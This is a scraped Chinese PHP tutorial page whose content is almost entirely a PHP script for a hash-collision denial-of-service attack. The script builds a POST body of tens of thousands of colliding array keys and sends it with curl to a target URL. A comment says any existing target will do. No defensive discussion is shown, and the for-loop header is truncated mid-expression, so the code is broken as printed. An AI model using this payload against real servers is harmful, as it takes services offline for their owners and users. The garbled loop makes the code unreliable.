PHP利用hash冲突漏洞进行DDoS攻击的方法分析_PHP教程

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

// 目标地址

// 只要目标地址存在，不用管它是干嘛的

$host = 'http://127.0.0.1/test.php';

$data = '';

$size = pow(2, 15);

for ($key=0, $max=($size-1)*$size; $key

{

$data .= '&array[' . $key . ']=0';

}

$ret = curl($host, ltrim($data,'&'));

var_dump($ret);

function curl($url, $post, $timeout = 30){

$ch = curl_init();

curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);

curl_setopt($ch, CURLOPT_TIMEOUT, $timeout);

curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $timeout - 5);

curl_setopt($ch, CURLOPT_HTTPHEADER, array('Expect:'));

curl_setopt($ch, CURLOPT_URL, $url);

curl_setopt($ch, CURLOPT_POST, true);

curl_setopt($ch, CURLOPT_POSTFIELDS, $post);

$output = curl_exec($ch);

if ($output === false) return false;

$info = curl_getinfo($ch);

$http_code = $info['http_code'];

if ($http_code == 404) return false;

curl_close($ch);

return $output;

}